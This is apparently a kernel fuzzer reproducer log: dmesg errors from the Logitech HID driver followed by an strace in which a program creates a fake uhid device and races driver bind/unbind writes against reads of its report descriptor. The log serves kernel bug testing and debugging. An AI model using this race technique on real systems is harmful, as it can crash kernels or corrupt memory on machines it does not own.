[ 74.969898][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.972780][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.975605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.978856][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.981735][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.984558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.987464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.991345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.994277][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 74.997113][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.000385][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.003287][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.006062][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.009115][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.012101][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.014948][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.018172][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.021072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.023934][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.026761][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.029930][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.032836][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.035685][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.038917][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.041956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.044834][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.047686][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.050756][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.053640][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.056424][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.059693][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.062622][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.065456][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.068590][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.071458][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.074296][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.077153][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.080838][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.083773][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.086654][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.089835][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.092781][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.095615][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.098837][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.102593][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.105484][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.108605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.111542][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.114373][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.117219][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.120570][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.123457][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.126353][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.129705][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.132609][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.135480][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.138758][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.141676][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.144580][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.147460][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.150558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.153464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.156291][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.159610][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.162553][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.165387][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.168573][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.171540][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.174404][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.177258][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.180575][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.183462][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.186347][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.189842][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.192785][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.195576][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.198769][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.201740][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.204669][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.207537][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.211427][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.214374][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.217212][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.220507][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.223401][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.226286][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.229471][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.232441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.235288][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.238549][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.241441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.244289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.247095][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.250275][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.253159][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.255988][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.259178][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.262169][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.265042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.268170][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.271102][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.273956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.276771][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.280118][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.283072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.285936][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.289143][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.292134][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.294969][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.298645][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.301533][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.304365][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.307162][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.310331][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.313289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.316126][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.320191][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.323147][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.326000][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.329117][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.332039][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.334912][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.338260][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.341177][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.344042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.346887][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.350031][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.352956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.355787][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.358967][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.361970][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.364848][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.367890][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.370907][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.373807][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.376670][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.379962][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.382895][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.385723][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] Done
[ 76.490414][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.492981][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor3862993936
<...>
Warning: Permanently added '[localhost]:40289' (ED25519) to the list of known hosts.
execve("/syz-executor3862993936", ["/syz-executor3862993936"], 0x7fff82a1e980 /* 11 vars */) = 0
brk(NULL) = 0x55557a762000
brk(0x55557a762d80) = 0x55557a762d80
arch_prctl(ARCH_SET_FS, 0x55557a762400) = 0
set_tid_address(0x55557a7626d0) = 5895
set_robust_list(0x55557a7626e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor3862993936", 4096) = 23
getrandom("\x4b\xaa\xde\x1b\x5f\x02\xb3\xfd", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55557a762d80
brk(0x55557a783d80) = 0x55557a783d80
brk(0x55557a784000) = 0x55557a784000
mprotect(0x7fe6c398c000, 20480, PROT_READ) = 0
openat(AT_FDCWD, "/dev/uhid", O_RDWR) = 3
write(1, "[+] Opened /dev/uhid", 20) = 20
write(1, "\n", 1) = 1
[+] Opened /dev/uhid
write(3, "\x0b\x00\x00\x00\x74\x65\x73\x74\x2d\x75\x68\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
[ 71.967195][ T32] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
write(1, "[+] Created uhid device", 23) = 23
write(1, "\n", 1) = 1
[+] Created uhid device
openat(AT_FDCWD, "/sys/bus/hid/devices", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x55557a763790 /* 3 entries */, 32768) = 88
close(4) = 0
[+] Found device: 0003:046D:C293.0001
write(1, "[+] Found device: 0003:046D:C293.0001\n", 38) = 38
openat(AT_FDCWD, "/sys/bus/hid/devices/0003:046D:C293.0001/report_descriptor", O_RDONLY) = 4
write(1, "[+] Opened report_descriptor", 28) = 28
[+] Opened report_descriptor
write(1, "\n", 1) = 1
openat(AT_FDCWD, "/sys/bus/hid/drivers/logitech/bind", O_WRONLY) = 5
openat(AT_FDCWD, "/sys/bus/hid/drivers/logitech/unbind", O_WRONLY) = 6
write(1, "[+] Opened bind/unbind files", 28) = 28
write(1, "\n", 1) = 1
rt_sigaction(SIGRT_1, {sa_handler=0x7fe6c3918eb0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_RESTART|SA_SIGINFO, sa_restorer=0x7fe6c3907aa0}, NULL, 8) = 0
[+] Opened bind/unbind files
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7fe6c30bc000
mprotect(0x7fe6c30bd000, 8388608, PROT_READ|PROT_WRITE) = 0
rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7fe6c38bc990, parent_tid=0x7fe6c38bc990, exit_signal=0, stack=0x7fe6c30bc000, stack_size=0x8002c0, tls=0x7fe6c38bc6c0}/strace: Process 5897 attached
=> {parent_tid=[5897]}, 88) = 5897
[pid 5897] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5895] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5897] <... rseq resumed>) = 0
[pid 5895] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5897] set_robust_list(0x7fe6c38bc9a0, 24) = 0
[pid 5895] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...>
[pid 5897] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5895] <... mmap resumed>) = 0x7fe6c28bb000
[pid 5895] mprotect(0x7fe6c28bc000, 8388608, PROT_READ|PROT_WRITE <unfinished ...>
[pid 5897] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5895] <... mprotect resumed>) = 0
[pid 5897] sched_setaffinity(0, 128, [0] <unfinished ...>
[pid 5895] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5897] <... sched_setaffinity resumed>) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5895] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7fe6c30bb990, parent_tid=0x7fe6c30bb990, exit_signal=0, stack=0x7fe6c28bb000, stack_size=0x8002c0, tls=0x7fe6c30bb6c0} <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4/strace: Process 5898 attached
<unfinished ...>
[pid 5895] <... clone3 resumed> => {parent_tid=[5898]}, 88) = 5898
[pid 5895] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5898] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5895] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5895] write(1, "[+] Racing for 5 seconds...", 27) = 27
[pid 5898] <... rseq resumed>) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] set_robust_list(0x7fe6c30bb9a0, 24 <unfinished ...>
[pid 5895] write(1, "\n", 1 <unfinished ...>
[pid 5898] <... set_robust_list resumed>) = 0
[+] Racing for 5 seconds...
[pid 5895] <... write resumed>) = 1
[pid 5898] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5898] sched_setaffinity(0, 128, [1] <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... sched_setaffinity resumed>) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.021190][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.047302][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.072893][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.098601][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.123684][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.149323][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.175782][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.199848][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 72.224314][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.239190][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 72.260445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.279923][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[ 72.287213][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.312919][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.335693][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.366457][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.380942][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 72.389537][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
